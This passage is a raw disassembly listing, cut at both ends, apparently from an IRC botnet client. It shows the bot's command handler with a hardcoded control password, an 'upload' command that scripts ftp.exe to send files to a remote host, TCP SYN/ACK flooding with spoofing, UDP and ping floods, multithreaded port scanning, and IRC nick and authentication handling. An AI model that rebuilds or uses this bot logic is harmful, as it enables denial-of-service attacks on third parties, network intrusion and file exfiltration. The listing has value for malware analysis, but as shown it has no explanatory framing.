[ebp+var_2E0] push offset aMainS ; "[MAIN]: %s" push eax call sub_412BB5 loc_40C3B3: ; CODE XREF: sub_4078FA+41ADj add esp, 0Ch jmp loc_40AEAA ; --------------------------------------------------------------------------- loc_40C3BB: ; CODE XREF: sub_4078FA+D77j ; sub_4078FA+D8Bj mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40C413 push ebx call sub_412F42 test eax, eax pop ecx jl short loc_40C40B cmp eax, 2 jge short loc_40C40B mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp byte ptr [esi], 0 jz short loc_40C403 lea eax, [esi+1] push eax lea eax, [ebp+var_2E0] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_412BB5 add esp, 0Ch and byte ptr [esi], 0 jmp short loc_40C47E ; --------------------------------------------------------------------------- loc_40C403: ; CODE XREF: sub_4078FA+4AEAj push eax push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d." jmp short loc_40C46F ; --------------------------------------------------------------------------- loc_40C40B: ; CODE XREF: sub_4078FA+4AD5j ; sub_4078FA+4ADAj push eax push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d." jmp short loc_40C46F ; --------------------------------------------------------------------------- loc_40C413: ; CODE XREF: sub_4078FA+4ACAj mov edx, [ebp+arg_18] xor edi, edi loc_40C418: ; CODE XREF: sub_4078FA+4B5Bj mov esi, [ebp+var_A4] mov eax, edx loc_40C420: ; CODE XREF: sub_4078FA+4B42j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_40C442 test cl, cl jz short loc_40C43E mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_40C442 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40C420 loc_40C43E: ; CODE XREF: sub_4078FA+4B30j xor eax, eax jmp short loc_40C447 ; --------------------------------------------------------------------------- loc_40C442: ; CODE XREF: sub_4078FA+4B2Cj ; sub_4078FA+4B3Aj sbb eax, eax sbb eax, 0FFFFFFFFh loc_40C447: ; CODE XREF: sub_4078FA+4B46j test eax, eax jz short loc_40C459 inc edi add edx, 80h cmp edi, 2 jl short loc_40C418 jmp short loc_40C47E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_4078FA+4B4Fj mov eax, [ebp+arg_18] shl edi, 7 and byte ptr [edi+eax], 0 lea eax, [ebp+var_E0] push eax push offset aMainUserSLogge ; "[MAIN]: User %s logged out." loc_40C46F: ; CODE XREF: sub_4078FA+3780j ; sub_4078FA+4B0Fj ... lea eax, [ebp+var_2E0] push eax call sub_412BB5 add esp, 0Ch loc_40C47E: ; CODE XREF: sub_4078FA+2B08j ; sub_4078FA+2B2Cj ... cmp [ebp+var_C], 0 jnz short loc_40C4A1 push 0 loc_40C486: ; CODE XREF: sub_4078FA+4FD0j ; sub_4078FA+5113j push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] loc_40C499: ; CODE XREF: sub_4078FA+2611j ; sub_4078FA+2733j ... call sub_4045DD add esp, 14h loc_40C4A1: ; CODE XREF: sub_4078FA+11E6j ; sub_4078FA+25FBj ... xor esi, esi inc esi jmp loc_409018 ; --------------------------------------------------------------------------- loc_40C4A9: ; CODE XREF: sub_4078FA+D4Fj ; sub_4078FA+D63j mov edi, [ebp+var_A0] push 4 mov esi, offset dword_4263EC pop ecx xor edx, edx repe cmpsb jz loc_408D7C call sub_41105B loc_40C4C6: ; CODE XREF: sub_4078FA+4497j push 0 call ds:dword_41F02C loc_40C4CE: ; CODE XREF: sub_4078FA+156Aj push 8 mov edi, eax mov esi, offset aHttpcon ; "httpcon" pop ecx xor edx, edx repe cmpsb jz loc_40C685 push 5 mov edi, eax mov esi, offset aHcon ; "hcon" pop ecx xor edx, edx repe cmpsb jz loc_40C685 cmp [ebp+ebx+var_90], edx jz loc_407B7B mov edi, eax push 7 mov esi, offset aUpload ; "upload" pop ecx xor eax, eax repe cmpsb jnz loc_40CFE2 mov edi, [ebp+ebx+var_90] push 4 push edi call sub_40241F test eax, eax pop ecx pop ecx jnz short loc_40C546 push edi push offset aFtpFileNotFoun ; "[FTP]: File not found: %s." loc_40C532: ; CODE XREF: sub_4078FA+38A4j lea eax, [ebp+var_2E0] push eax call sub_412BB5 add esp, 0Ch jmp loc_40ABC7 ; --------------------------------------------------------------------------- loc_40C546: ; CODE XREF: sub_4078FA+4C30j call ds:dword_41F004 push eax call sub_412D64 pop ecx call sub_412D71 push 9 cdq pop ecx idiv ecx push edx call sub_412D71 push 63h cdq pop ecx idiv ecx push edx call sub_412D71 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_15E8] push edx push eax lea eax, [ebp+var_1344] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_412BB5 lea eax, [ebp+var_1344] push offset aAb ; "ab" push eax call sub_413393 add esp, 20h test eax, eax mov [ebp+arg_0], eax jz loc_407B7B mov esi, [ebp+ebx+var_A0] push edi push [ebp+var_14] push [ebp+ebx+var_98] push [ebp+ebx+var_9C] push esi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41414F push [ebp+arg_0] call sub_412F93 lea eax, [ebp+var_1344] push eax lea eax, [ebp+var_B70] push offset aSS_3 ; "-s:%s" push eax call sub_412BB5 add esp, 2Ch xor eax, eax push eax push eax lea ecx, [ebp+var_B70] push ecx push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push eax call dword_4335A8 test eax, eax push esi push edi jz short loc_40C621 push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s" jmp short loc_40C626 ; --------------------------------------------------------------------------- loc_40C621: ; CODE XREF: sub_4078FA+4D1Ej push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"... loc_40C626: ; CODE XREF: sub_4078FA+4D25j call sub_412BB5 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40C651 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40C651: ; CODE XREF: sub_4078FA+4D38j lea eax, [ebp+var_2E0] push eax call sub_401C33 jmp short loc_40C66B ; --------------------------------------------------------------------------- loc_40C65F: ; CODE XREF: sub_4078FA+4D84j lea eax, [ebp+var_1344] push eax call sub_414125 loc_40C66B: ; CODE XREF: sub_4078FA+4D63j lea eax, [ebp+var_1344] push 4 push eax call sub_40241F add esp, 0Ch test eax, eax jnz short loc_40C65F jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40C685: ; CODE XREF: sub_4078FA+4BE2j ; sub_4078FA+4BF6j push [ebp+ebx+var_90] push [ebp+var_14] push [ebp+ebx+var_98] push [ebp+ebx+var_9C] call sub_412F42 pop ecx push eax push [ebp+ebx+var_A0] push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4038B7 jmp loc_40CFDF ; --------------------------------------------------------------------------- loc_40C6C4: ; CODE XREF: sub_4078FA+1542j ; sub_4078FA+1556j push [ebp+ebx+var_A0] lea eax, [ebp+var_998] push 80h push eax call sub_412E0D add esp, 0Ch push 4 lea edi, [ebp+var_998] mov esi, offset aSyn_0 ; "syn" pop ecx xor eax, eax repe cmpsb jz short loc_40C725 push 4 lea edi, [ebp+var_998] mov esi, offset aAck ; "ack" pop ecx xor eax, eax repe cmpsb jz short loc_40C725 push 7 lea edi, [ebp+var_998] mov esi, offset aRandom_0 ; "random" pop ecx xor eax, eax repe cmpsb jz short loc_40C725 push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified." jmp loc_40B61E ; --------------------------------------------------------------------------- loc_40C725: ; CODE XREF: sub_4078FA+4DF7j ; sub_4078FA+4E0Bj ... push [ebp+var_14] call sub_412F42 xor edi, edi cmp eax, edi pop ecx mov [ebp+var_888], eax jle loc_40C8AD mov eax, [ebp+ebx+var_A0] push eax mov [ebp+var_8], eax mov esi, 80h lea eax, [ebp+var_998] push esi push eax call sub_412E0D mov eax, [ebp+ebx+var_9C] push eax mov [ebp+var_10], eax lea eax, [ebp+var_A18] push esi push eax call sub_412E0D mov eax, [ebp+ebx+var_98] push eax mov [ebp+arg_0], eax call sub_412F42 mov [ebp+var_894], eax mov eax, [ebp+ebx+var_90] add esp, 1Ch cmp eax, edi jz short loc_40C7A6 push eax call sub_412F42 pop ecx mov [ebp+var_890], eax jmp short loc_40C7AC ; --------------------------------------------------------------------------- loc_40C7A6: ; CODE XREF: sub_4078FA+4E9Bj mov [ebp+var_890], edi loc_40C7AC: ; CODE XREF: sub_4078FA+4EAAj mov ebx, [ebp+ebx+var_8C] cmp ebx, edi jz short loc_40C7C6 push ebx call sub_412F42 pop ecx mov [ebp+var_88C], eax jmp short loc_40C7CC ; --------------------------------------------------------------------------- loc_40C7C6: ; CODE XREF: sub_4078FA+4EBBj mov [ebp+var_88C], edi loc_40C7CC: ; CODE XREF: sub_4078FA+4ECAj push [ebp+var_9C] xor eax, eax cmp [ebp+var_43A], al push esi setnz al mov [ebp+var_884], eax mov eax, [ebp+arg_4] mov [ebp+var_A1C], eax lea eax, [ebp+var_918] push eax call sub_412E0D mov eax, [ebp+var_4] mov [ebp+var_880], eax mov eax, [ebp+var_C] add esp, 0Ch cmp [ebp+var_884], edi mov [ebp+var_87C], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40C820 mov eax, offset aNormal ; "Normal" loc_40C820: ; CODE XREF: sub_4078FA+4F1Fj push [ebp+var_14] push [ebp+arg_0] push [ebp+var_10] push [ebp+var_8] push eax push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"... lea eax, [ebp+var_2E0] push 200h push eax call sub_412E0D push edi lea eax, [ebp+var_2E0] push 0Dh push eax call sub_410EEA add esp, 2Ch mov [ebp+var_898], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_A1C] push eax push offset sub_41046C push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_898] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40C8A3 call ds:dword_41F008 push eax push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"... jmp loc_40B73B ; --------------------------------------------------------------------------- loc_40C89B: ; CODE XREF: sub_4078FA+4FAFj push 32h call ds:dword_41F000 loc_40C8A3: ; CODE XREF: sub_4078FA+4F8Ej cmp [ebp+var_878], edi jz short loc_40C89B jmp short loc_40C8C0 ; --------------------------------------------------------------------------- loc_40C8AD: ; CODE XREF: sub_4078FA+4E3Ej push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"... loc_40C8B2: ; CODE XREF: sub_4078FA+53D4j ; sub_4078FA+5490j lea eax, [ebp+var_2E0] push eax call sub_412BB5 loc_40C8BE: ; CODE XREF: sub_4078FA+3D32j pop ecx pop ecx loc_40C8C0: ; CODE XREF: sub_4078FA+3E50j ; sub_4078FA+3E65j ... cmp [ebp+var_C], edi jnz loc_40C4A1 push edi jmp loc_40C486 ; --------------------------------------------------------------------------- loc_40C8CF: ; CODE XREF: sub_4078FA+1506j ; sub_4078FA+151Aj ... cmp dword_433620, 0 jnz loc_40C9E8 mov eax, [ebp+var_C] mov [ebp+var_758], eax mov eax, [ebp+var_4] push 7Fh push [ebp+ebx+var_A0] mov [ebp+var_75C], eax lea eax, [ebp+var_7F0] push eax call sub_412C40 push [ebp+ebx+var_9C] call sub_412F42 push [ebp+ebx+var_98] mov [ebp+var_770], eax call sub_412F42 push [ebp+var_14] mov [ebp+var_76C], eax call sub_412F42 push 7Fh push [ebp+var_9C] mov [ebp+var_768], eax lea eax, [ebp+var_870] push eax call sub_412C40 push [ebp+var_768] mov eax, [ebp+arg_4] push [ebp+var_76C] mov [ebp+var_874], eax lea eax, [ebp+var_7F0] push eax push [ebp+var_770] lea eax, [ebp+var_2E0] push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "... push eax call sub_412BB5 xor esi, esi push esi lea eax, [ebp+var_2E0] push 0Fh push eax call sub_410EEA add esp, 48h mov [ebp+var_760], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_874] push eax push offset sub_406CD9 push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_760] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40C9DE call ds:dword_41F008 push eax push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"... jmp loc_40CF6C ; --------------------------------------------------------------------------- loc_40C9D6: ; CODE XREF: sub_4078FA+50EAj push 32h call ds:dword_41F000 loc_40C9DE: ; CODE XREF: sub_4078FA+50C9j cmp [ebp+var_754], esi jz short loc_40C9D6 jmp short loc_40CA03 ; --------------------------------------------------------------------------- loc_40C9E8: ; CODE XREF: sub_4078FA+4FDCj push 1FFh lea eax, [ebp+var_2E0] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_412C40 add esp, 0Ch xor esi, esi loc_40CA03: ; CODE XREF: sub_4078FA+3D0Ej ; sub_4078FA+50ECj ... cmp [ebp+var_C], esi jnz loc_40C4A1 push esi jmp loc_40C486 ; --------------------------------------------------------------------------- loc_40CA12: ; CODE XREF: sub_4078FA+14CAj ; sub_4078FA+14DEj ... mov eax, [ebp+var_C] mov edi, [ebp+var_4] push 7Fh push [ebp+ebx+var_A0] mov [ebp+var_758], eax lea eax, [ebp+var_7F0] push eax mov [ebp+var_75C], edi call sub_412C40 push [ebp+ebx+var_9C] call sub_412F42 push [ebp+ebx+var_98] mov [ebp+var_770], eax call sub_412F42 push [ebp+var_14] mov [ebp+var_76C], eax call sub_412F42 mov ebx, [ebp+ebx+var_90] xor esi, esi add esp, 18h cmp ebx, esi mov [ebp+var_768], eax jz short loc_40CA8A push ebx call sub_412F42 pop ecx mov [ebp+var_764], eax jmp short loc_40CA90 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_4078FA+517Fj mov [ebp+var_764], esi loc_40CA90: ; CODE XREF: sub_4078FA+518Ej push 7Fh push [ebp+var_9C] lea eax, [ebp+var_870] push eax call sub_412C40 push [ebp+var_768] mov ebx, [ebp+arg_4] push [ebp+var_76C] lea eax, [ebp+var_7F0] push eax push [ebp+var_770] lea eax, [ebp+var_2E0] push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"... push eax mov [ebp+var_874], ebx call sub_412BB5 push esi lea eax, [ebp+var_2E0] push 10h push eax call sub_410EEA add esp, 30h mov [ebp+var_760], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_874] push eax push offset sub_406E62 push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_760] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40CB5F call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"... push eax call sub_412BB5 add esp, 0Ch loc_40CB39: ; CODE XREF: sub_4078FA+526Dj cmp [ebp+var_C], esi jnz loc_40C4A1 push esi push edi loc_40CB44: ; CODE XREF: sub_4078FA+2AD4j lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push ebx jmp loc_40C499 ; --------------------------------------------------------------------------- loc_40CB57: ; CODE XREF: sub_4078FA+526Bj push 32h call ds:dword_41F000 loc_40CB5F: ; CODE XREF: sub_4078FA+5222j cmp [ebp+var_754], esi jz short loc_40CB57 jmp short loc_40CB39 ; --------------------------------------------------------------------------- loc_40CB69: ; CODE XREF: sub_4078FA+14A2j ; sub_4078FA+14B6j push 9 call sub_4110DA mov esi, [ebp+ebx+var_9C] push esi mov edi, eax call sub_412F42 add eax, edi cmp eax, 258h pop ecx pop ecx jle short loc_40CBBB push edi lea eax, [ebp+var_2E0] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_412BB5 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD jmp loc_40AB80 ; --------------------------------------------------------------------------- loc_40CBBB: ; CODE XREF: sub_4078FA+528Ej push [ebp+ebx+var_A0] call sub_412F42 push esi mov [ebp+var_4E4], eax call sub_412F42 push [ebp+ebx+var_98] mov [ebp+var_4CC], eax call sub_412F42 add esp, 0Ch cmp eax, 5 mov [ebp+var_4E0], eax jnb short loc_40CBFC push 5 pop eax mov [ebp+var_4E0], eax loc_40CBFC: ; CODE XREF: sub_4078FA+52F7j push 3Ch pop ecx cmp eax, ecx jbe short loc_40CC09 mov [ebp+var_4E0], ecx loc_40CC09: ; CODE XREF: sub_4078FA+5307j push [ebp+var_14] call sub_412F42 mov [ebp+var_4DC], eax mov eax, 320h cmp [ebp+var_4DC], eax pop ecx jbe short loc_40CC2B mov [ebp+var_4DC], eax loc_40CC2B: ; CODE XREF: sub_4078FA+5329j push [ebp+arg_4] or [ebp+var_4C8], 0FFFFFFFFh call sub_406C33 pop ecx lea edx, [ebp+var_66C] loc_40CC41: ; CODE XREF: sub_4078FA+534Fj mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_40CC41 xor edi, edi cmp dword_42A068, edi mov [ebp+var_5EC], edi mov [ebp+var_10], edi jz short loc_40CCC1 mov ecx, offset dword_42A068 loc_40CC63: ; CODE XREF: sub_4078FA+53A7j mov edi, [ebp+ebx+var_A0] lea esi, [ecx-28h] loc_40CC6D: ; CODE XREF: sub_4078FA+538Fj mov dl, [esi] mov al, dl cmp dl, [edi] jnz short loc_40CC8F test al, al jz short loc_40CC8B mov dl, [esi+1] mov al, dl cmp dl, [edi+1] jnz short loc_40CC8F inc esi inc esi inc edi inc edi test al, al jnz short loc_40CC6D loc_40CC8B: ; CODE XREF: sub_4078FA+537Dj xor eax, eax jmp short loc_40CC94 ; --------------------------------------------------------------------------- loc_40CC8F: ; CODE XREF: sub_4078FA+5379j ; sub_4078FA+5387j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40CC94: ; CODE XREF: sub_4078FA+5393j test eax, eax jz short loc_40CCA5 inc [ebp+var_10] add ecx, 3Ch cmp dword ptr [ecx], 0 jnz short loc_40CC63 jmp short loc_40CCBF ; --------------------------------------------------------------------------- loc_40CCA5: ; CODE XREF: sub_4078FA+539Cj mov eax, [ebp+var_10] mov ecx, eax imul ecx, 3Ch mov ecx, dword_42A068[ecx] mov [ebp+var_4E4], ecx mov [ebp+var_4C8], eax loc_40CCBF: ; CODE XREF: sub_4078FA+53A9j xor edi, edi loc_40CCC1: ; CODE XREF: sub_4078FA+5362j cmp [ebp+var_4E4], edi jnz short loc_40CCD3 push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, port is i"... jmp loc_40C8B2 ; --------------------------------------------------------------------------- loc_40CCD3: ; CODE XREF: sub_4078FA+53CDj mov esi, [ebp+ebx+var_90] cmp esi, edi mov [ebp+var_AC], esi jz short loc_40CD14 cmp byte ptr [esi], 23h jz short loc_40CD14 push esi lea eax, [ebp+var_67C] push 10h push eax call sub_412E0D push 78h push esi call sub_413F30 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_4B8], eax jmp loc_40CE4A ; --------------------------------------------------------------------------- loc_40CD14: ; CODE XREF: sub_4078FA+53E8j ; sub_4078FA+53EDj cmp [ebp+var_432], 0 jz short loc_40CD3E push 7Fh lea eax, [ebp+var_66C] push offset dword_42AF44 push eax call sub_412C40 mov eax, dword_42AF54 add esp, 0Ch mov [ebp+var_5EC], eax loc_40CD3E: ; CODE XREF: sub_4078FA+5421j cmp [ebp+var_43B], 0 jz short loc_40CD6A push edi push 9 push offset aStoppingPrevio ; "Stopping previous scans" push offset aScan_0 ; "[SCAN]" push 1 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_411120 add esp, 20h loc_40CD6A: ; CODE XREF: sub_4078FA+544Bj cmp [ebp+var_44B], 0 jnz short loc_40CD8F cmp [ebp+var_44A], 0 jnz short loc_40CD8F cmp [ebp+var_43A], 0 jnz short loc_40CD8F push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan, no IP spe"... jmp loc_40C8B2 ; --------------------------------------------------------------------------- loc_40CD8F: ; CODE XREF: sub_4078FA+5477j ; sub_4078FA+5480j ... push 10h pop esi lea eax, [ebp+var_A8] push eax lea eax, [ebp+var_C8] push eax push [ebp+arg_4] mov [ebp+var_A8], esi call dword_433418 mov al, [ebp+var_44B] neg al push esi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+var_C4], eax push [ebp+var_C4] call dword_433520 push eax lea eax, [ebp+var_67C] push eax call sub_412C40 add esp, 0Ch cmp [ebp+var_43A], 0 jz short loc_40CE44 xor eax, eax cmp [ebp+var_44B], al push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_67C] push eax call sub_412C10 and byte ptr [ebp+arg_0+3], 0 cmp esi, edi pop ecx pop ecx jle short loc_40CE38 loc_40CE16: ; CODE XREF: sub_4078FA+553Cj cmp eax, edi jz short loc_40CE38 mov byte ptr [eax], 78h lea eax, [ebp+var_67C] push 30h push eax call sub_412C10 inc byte ptr [ebp+arg_0+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_0+3] cmp ecx, esi jl short loc_40CE16 loc_40CE38: ; CODE XREF: sub_4078FA+551Aj ; sub_4078FA+551Ej mov [ebp+var_4B8], 1 jmp short loc_40CE4A ; --------------------------------------------------------------------------- loc_40CE44: ; CODE XREF: sub_4078FA+54F3j mov [ebp+var_4B8], edi loc_40CE4A: ; CODE XREF: sub_4078FA+5415j ; sub_4078FA+5548j mov eax, [ebp+arg_4] push [ebp+var_9C] mov [ebp+var_4E8], eax mov eax, [ebp+var_4] mov [ebp+var_4C0], eax mov eax, [ebp+var_C] mov [ebp+var_4BC], eax mov esi, 80h lea eax, [ebp+var_5E8] push esi push eax call sub_412E0D mov ebx, [ebp+ebx+var_8C] add esp, 0Ch cmp ebx, edi jz short loc_40CE9E push ebx loc_40CE8C: ; CODE XREF: sub_4078FA+55B4j push esi loc_40CE8D: ; CODE XREF: sub_4078FA+55D1j lea eax, [ebp+var_568] push eax call sub_412E0D add esp, 0Ch jmp short loc_40CED4 ; --------------------------------------------------------------------------- loc_40CE9E: ; CODE XREF: sub_4078FA+558Fj mov eax, [ebp+var_AC] cmp eax, edi jz short loc_40CEB0 cmp byte ptr [eax], 23h jnz short loc_40CEB0 push eax jmp short loc_40CE8C ; --------------------------------------------------------------------------- loc_40CEB0: ; CODE XREF: sub_4078FA+55ACj ; sub_4078FA+55B1j xor ecx, ecx mov eax, offset aMurders ; "#murders" inc ecx mov edi, 41FA76h mov esi, eax xor edx, edx repe cmpsb jz short loc_40CECD push eax push 80h jmp short loc_40CE8D ; --------------------------------------------------------------------------- loc_40CECD: ; CODE XREF: sub_4078FA+55C9j and [ebp+var_568], 0 loc_40CED4: ; CODE XREF: sub_4078FA+55A2j xor esi, esi cmp [ebp+var_4B8], esi mov eax, offset aRandom ; "Random" jnz short loc_40CEE8 mov eax, offset aSequential ; "Sequential" loc_40CEE8: ; CODE XREF: sub_4078FA+55E7j push [ebp+var_4CC] lea ecx, [ebp+var_67C] push [ebp+var_4DC] push [ebp+var_4E0] push [ebp+var_4E4] push ecx push eax lea eax, [ebp+var_2E0] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_412BB5 push esi lea eax, [ebp+var_2E0] push 9 push eax call sub_410EEA add esp, 2Ch mov [ebp+var_4D8], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_67C] push eax push offset sub_4018D1 push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_4D8] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40CF88 call ds:dword_41F008 push eax push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... loc_40CF6C: ; CODE XREF: sub_4078FA+50D7j lea eax, [ebp+var_2E0] push eax call sub_412BB5 add esp, 0Ch jmp loc_40CA03 ; --------------------------------------------------------------------------- loc_40CF80: ; CODE XREF: sub_4078FA+5694j push 32h call ds:dword_41F000 loc_40CF88: ; CODE XREF: sub_4078FA+5664j cmp [ebp+var_4B4], esi jz short loc_40CF80 jmp loc_40CA03 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_4078FA+D27j ; sub_4078FA+D3Bj push [ebp+ebx+var_A0] xor eax, eax cmp [ebp+var_43C], al setnz al push eax push dword_42AE64 lea eax, [ebp+var_3AC] push eax call sub_40E7B0 lea eax, [ebp+var_3AC] push eax push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_404592 lea eax, [ebp+var_3AC] push eax push offset aMainRandomNick ; "[MAIN]: Random nick change: %s" call sub_401CA7 loc_40CFDF: ; CODE XREF: sub_4078FA+4DC5j add esp, 24h loc_40CFE2: ; CODE XREF: sub_4078FA+73Bj ; sub_4078FA+747j ... mov eax, [ebp+arg_24] jmp loc_407B7E ; --------------------------------------------------------------------------- loc_40CFEA: ; CODE XREF: sub_4078FA+7C8j ; sub_4078FA+7DCj mov ebx, [ebp+ebx+var_A0] test ebx, ebx mov [ebp+var_8], ebx jz loc_407B7B cmp [ebp+var_20], 0 jnz loc_407B7B push offset asc_4264C0 ; "!" push [ebp+var_A4] call sub_413859 mov esi, eax push offset dword_424824 push 0 inc esi call sub_413859 push offset asc_424820 ; "~" push eax call sub_413859 mov edi, [ebp+var_8] mov ebx, eax add esp, 18h mov eax, offset aN3m3s1s ; "n3m3s1s" loc_40D03D: ; CODE XREF: sub_4078FA+575Fj mov dl, [eax] mov cl, dl cmp dl, [edi] jnz short loc_40D05F test cl, cl jz short loc_40D05B mov dl, [eax+1] mov cl, dl cmp dl, [edi+1] jnz short loc_40D05F inc eax inc eax inc edi inc edi test cl, cl jnz short loc_40D03D loc_40D05B: ; CODE XREF: sub_4078FA+574Dj xor eax, eax jmp short loc_40D064 ; --------------------------------------------------------------------------- loc_40D05F: ; CODE XREF: sub_4078FA+5749j ; sub_4078FA+5757j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40D064: ; CODE XREF: sub_4078FA+5763j test eax, eax jz short loc_40D0B3 push ebx lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_E0] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_404592 lea eax, [ebp+var_E0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_404592 push ebx push esi push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)." loc_40D09F: ; CODE XREF: sub_4078FA+580Cj lea eax, [ebp+var_2E0] push eax call sub_412BB5 add esp, 30h jmp loc_40C4A1 ; --------------------------------------------------------------------------- loc_40D0B3: ; CODE XREF: sub_4078FA+576Cj xor edi, edi loc_40D0B5: ; CODE XREF: sub_4078FA+57D3j push ebx push off_42AF3C[edi] call sub_4115E8 test eax, eax pop ecx pop ecx jnz short loc_40D108 add edi, 4 cmp edi, 4 jb short loc_40D0B5 push ebx lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_E0] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_404592 lea eax, [ebp+var_E0] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_404592 push ebx push esi push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)." jmp short loc_40D09F ; --------------------------------------------------------------------------- loc_40D108: ; CODE XREF: sub_4078FA+57CBj mov edx, [ebp+arg_18] xor eax, eax loc_40D10D: ; CODE XREF: sub_4078FA+5855j cmp byte ptr [edx], 0 jnz short loc_40D145 mov edi, [ebp+var_8] mov esi, offset aN3m3s1s ; "n3m3s1s" loc_40D11A: ; CODE XREF: sub_4078FA+583Cj mov bl, [esi] mov cl, bl cmp bl, [edi] jnz short loc_40D13C test cl, cl jz short loc_40D138 mov bl, [esi+1] mov cl, bl cmp bl, [edi+1] jnz short loc_40D13C inc esi inc esi inc edi inc edi test cl, cl jnz short loc_40D11A loc_40D138: ; CODE XREF: sub_4078FA+582Aj xor ecx, ecx jmp short loc_40D141 ; --------------------------------------------------------------------------- loc_40D13C: ; CODE XREF: sub_4078FA+5826j ; sub_4078FA+5834j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_40D141: ; CODE XREF: sub_4078FA+5840j test ecx, ecx jz short loc_40D156 loc_40D145: ; CODE XREF: sub_4078FA+5816j inc eax add edx, 80h cmp eax, 2 jl short loc_40D10D jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40D156: ; CODE XREF: sub_4078FA+5849j shl eax, 7 add eax, [ebp+arg_18] push 7Fh lea ecx, [ebp+var_C04] push ecx push eax call sub_412C40 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40D18F push 0 push [ebp+var_4] push offset aMainPasswordAc ; "[MAIN]: Password accepted." push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40D18F: ; CODE XREF: sub_4078FA+5878j lea eax, [ebp+var_E0] push eax push offset aMainUserSLog_1 ; "[MAIN]: User: %s logged in." loc_40D19B: ; CODE XREF: sub_4078FA+6F8j ; sub_4078FA+45F8j ... call sub_401CA7 pop ecx loc_40D1A1: ; CODE XREF: sub_4078FA+32FCj pop ecx jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40D1A7: ; CODE XREF: sub_4078FA+1FDj ; sub_4078FA+210j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_404592 push offset aIx ; "+ix" push 